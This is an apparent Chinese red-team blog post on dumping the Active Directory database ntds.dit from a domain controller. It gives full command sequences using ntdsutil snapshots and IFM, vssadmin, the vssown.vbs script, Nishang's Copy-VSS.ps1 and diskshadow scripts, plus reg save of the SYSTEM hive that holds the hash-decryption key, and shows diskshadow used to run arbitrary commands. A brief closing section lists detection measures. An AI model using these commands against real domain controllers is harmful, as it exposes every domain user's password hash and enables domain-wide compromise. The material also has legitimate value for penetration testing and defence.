渗透攻击红队
一个专注于红队攻击的公众号
![dd41e8563a8e6e7c392e67df85275b09.png](https://i-blog.csdnimg.cn/blog_migrate/d94c7978fbc0905824d879c185202288.jpeg)
大家好,这里是 渗透攻击红队 的第 32 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更
![6bc16d809491c860e1e36d03c1ce426e.gif](https://i-blog.csdnimg.cn/blog_migrate/35cd191223fcf96de1d0c68297ae24ed.gif)
Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
我们拿到Ntds.dit就能获取到域内所有用户的hash。
使用卷影拷贝服务提取 ntds.dit
简介
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的 C:\Windows\NTDS\ntds.dit 文件(活动目录始终访问这个文件,所以文件被禁止读取)。
使用 Windows 本地卷影拷贝服务,就可以获得文件的副本(类似与虚拟机的快照)
使用卷影拷贝服务提取 ntds.dit
在活动目录中,所有的数据都保存在 ntds.dit 文件中。ntds.dit 是一个二进制文件,存储位置为域控制器的 %SystemRoot%\ntds\ntds.dit。
ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和 SAM 文件一样,是被 Windows 操作系统锁定的。
通过 ntdsutil.exe 提取 ntds.dit
ntdsutil.exe 是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。
该工具支持的操作系统:
Windows Server 2003
Windows Server 2008
Windows Server 2012
工具使用方法:在域控制器的命令行环境下输入如下命令,创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到,创建了一个 GUID 为 6a475b94-b066-448f-92b9-1a29b3fd2ef7 的快照。
接下来加载刚刚创建的快照。命令格式为:其中GUID就是刚刚创建快照的GUID
ntdsutil snapshot "mount {GUID}" quit quitntdsutil snapshot "mount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit
快照将被加载到 C:\$SNAP_202011091624_VOLUMEC$\ 目录下:
使用 Windows 自带的 copy 命令将快照中的文件复制出来:复制到C盘下
copy C:\$SNAP_202011091624_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
将之前加载的快照卸载并删除:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quitntdsutil snapshot "unmount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" "delete {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit
其中,6a475b94-b066-448f-92b9-1a29b3fd2ef7 为创建快照的 GUID,每次创建快照的 GUID 都不同。
再次查询当前系统中的所有快照,显示没有任何快照,表示删除成功:
ntdsutil snapshot "List All" quit quit
利用 vssadmin 提取 ntds.dit
vssadmin 是 Windows Server 2008 及 Windows 7 提供的 VSS 管理工具,可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。
在域控制器中打开命令行,输入命令,创建一个 C 盘的卷影拷贝:
vssadmin create shadow /for=c:
在创建的卷影拷贝中将 ntds.dit 复制出来:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
此时即可在 C 盘中看到 ntds.dit 被复制出来了:
执行如下命令,删除快照:
vssadmin delete shadows /for:c: /quiet
利用 vssown.vbs 脚本提取 ntds.dit
vssown.vbs 脚本的功能和 vssadmin 类似。可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
可以在命令行环境下运行脚本:
#启动卷影拷贝服务cscript vssown.vbs /start#创建一个C盘的卷影拷贝cscript vssown.vbs /create c#列出当前卷影拷贝cscript vssown.vbs /list#复制ntds.ditcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit#删除卷影拷贝cscript vssown.vbs /delete ID
启动卷影拷贝服务:
cscript vssown.vbs /start
创建一个 C 盘的卷影拷贝:
cscript vssown.vbs /create c
列出当前卷影拷贝:
cscript vssown.vbs /list
可以看到存在一个 ID 为 FE084F25-4F38-4C8B-B2D4-3538D5644D15 的卷影拷贝,存储位置为:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3。
复制 ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝:
cscript vssown.vbs /delete {FE084F25-4F38-4C8B-B2D4-3538D5644D15}
使用 ntdsutil 的 IFM 创建卷影拷贝
在使用 ntdsutil 创建 IFM 时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作。
在域控制器以管理员模式打开命令行环境,输入命令:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
将 ntds.dit 复制到 c:\test\Active Directory\ 文件夹下:
dir "c:\test\Active Directory"
将 SYSTEN 和 SECURITY 两项复制到 c:\test\registry 文件夹下:
dir "c:\test\registry"
将 ntds.dit 拖回本地后,在目标机器上将 test 文件夹删除,命令如下:
rmdir /s/q test
在 Nishang 中有一个 PowerShell 脚本 Copy-VSS.ps1。将该脚本提取出来,在域控制器中一个 powershell 窗口,导入执行脚本:
项目地址:https://github.com/samratashok/nishang
import-module .\Copy-VSS.ps1Copy-vss
通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与ps1脚本相同的目录。
使用 diskshadow 导出 ntds.dit
查看帮助信息:
diskshadow.exe /?
在渗透中可以使用 diskshadow.exe 来执行命令,例如将需要执行的命令exec c:\windows\system32\calc.exe写入C盘目录下的command.txt文件:
echo exec c:\windows\system32\calc.exe>command.txt
使用 diskshadow.exe 执行该文件中的命令:
diskshadow /s c:\command.txt
diskshadow.exe 也可以用来导出 ntds.dit:
#将以下代码写入command.txtset context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.ditdelete shadows alllist shadows allresetexit#加载文本(在C:\windows\system32 目录下执行,不然会出错)diskshadow /s c:\command.txt#转储 system.hivereg save hklm\system c:\windows\temp\system.hive
system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息。
注意事项:
在使用diskshadow.exe导出ntds.dit时,必须在C:\Windows\System32中进行操作。
渗透测试人员可以在非特权用户权限下使用 diskshadow.exe 的部分功能。与其他工具相比,diskshadow的使用更为灵活。
脚本执行后,要检查从快照中复制出来的 ntds.dit 文件大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
监控 System Event ID 7036(卷影拷贝服务进行运行状态的标志)的可疑事例,以及创建 vssvc.exe 进程的事件。
监控创建 diskshadow.exe 及相关子进程的事件。
监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在Windows操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。
通过日志监控新出现的逻辑驱动器映射事件。
参考文章:
https://xz.aliyun.com/t/2187
渗透攻击红队
一个专注于渗透红队攻击的公众号
![eecd3ee3ed49f6d3a1291fc0bf2e14af.png](https://i-blog.csdnimg.cn/blog_migrate/d4eb32eba35ca54fdc314b8e271d3c4f.jpeg)
![a59f25f3462330badeb3aaa1728e3f26.png](https://i-blog.csdnimg.cn/blog_migrate/6f71878b4e2750b5c4bc018979667aba.png)
![bdd68e26adacbe81b292aaa4148a0895.png](https://i-blog.csdnimg.cn/blog_migrate/16cb1aeea02701abcf64a812bc9b0450.png)
![9bc4cee59e484ffa0fbc0b9de5165478.png](https://i-blog.csdnimg.cn/blog_migrate/920c6b74c74d69125e854b045941e3cb.png)